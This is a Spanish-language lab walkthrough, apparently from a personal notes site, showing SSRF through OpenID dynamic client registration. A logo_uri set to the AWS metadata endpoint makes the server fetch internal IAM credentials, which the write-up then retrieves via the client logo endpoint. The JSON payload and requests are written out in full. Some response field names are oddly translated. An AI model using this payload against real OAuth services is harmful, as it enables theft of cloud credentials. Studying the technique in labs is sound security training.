> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).
# SSRF mediante el registro dinámico de clientes de OpenID
### SSRF mediante el registro dinámico de clientes OpenID
**Objetivo del laboratorio**
Este laboratorio cuenta con una función dinámica de registro de clientes OpenID\*\*. Algunos de los datos proporcionados por el cliente son utilizados sin protección por el servicio OAuth, lo que abre la puerta a un **SSRF**.
El objetivo es explotar esta falla para acceder al siguiente endpoint interno y recuperar el secreto **clave de acceso a la nube** del proveedor OAuth:
* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`
**Acceso inicial**
Puedes conectarte con una cuenta de usuario estándar:
* **Identificador**: wiener
* **Contraseña**: peter
**Descubrimiento de OpenID**
Al analizar el flujo de OAuth, identificamos el endpoint estándar de configuración de OpenID:
```bash
/.well-known/openid-configuration
```
Este recurso presenta todos los endpoints utilizados por el proveedor OAuth, incluidos:
{% code overflow="wrap" %}
```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```
{% endcode %}
* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**
El campo clave aquí es:
```
/reg
```
Permite el registro dinámico de nuevos clientes.
```http
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "Mi aplicación",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}
```
**Registro de cliente OAuth**
Se intercepta una solicitud para `/reg` y se convierte en una **POST** solicitud con el encabezado:
```http
Content-Type: application/json
```
Un registro mínimo funciona con un JSON muy simple:
```json
{
"redirect_uris": [
"https://test.com"
]
}
```
El servidor responde creando una nueva aplicación OAuth y devuelve en particular:
* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`
Esto confirma que el registro dinámico está activo y no es restrictivo.
{% code overflow="wrap" %}
```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```
{% endcode %}
**Inyección SSRF a través de `logo_uri`**
El `logo_uri` el campo, diseñado para cargar una imagen asociada al cliente, es especialmente interesante. / Se recupera en el lado del servidor sin una validación estricta de la URL.
Se registra un nuevo cliente con un `logo_uri` que apunta a la IP interna de AWS:
```json
{
"redirect_uris": [
"https://jord4n.pro"
],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```
El servidor acepta la solicitud y devuelve un nuevo `client_id`.
**Acceso al logotipo del cliente**
Cada cliente tiene un endpoint para recuperar su logotipo:
```
GET /client//logo
```
```http
GET /client/1767128152/logo
```
Usando las `client_id` obtenido previamente:
```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```
**Exfiltración de metadatos de AWS**
La respuesta no contiene una imagen, sino directamente las \*\*credenciales IAM internas\*\*:
```json
{
"Código" : "Éxito",
"Última actualización" : "2025-12-31T18:55:47.398604832Z",
"Tipo" : "AWS-HMAC",
"AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
"SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
"Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
"Expiración" : "2031-12-30T18:55:47.398604832Z"
}
```
`Clave secreta de acceso` es el valor esperado para validar el laboratorio.
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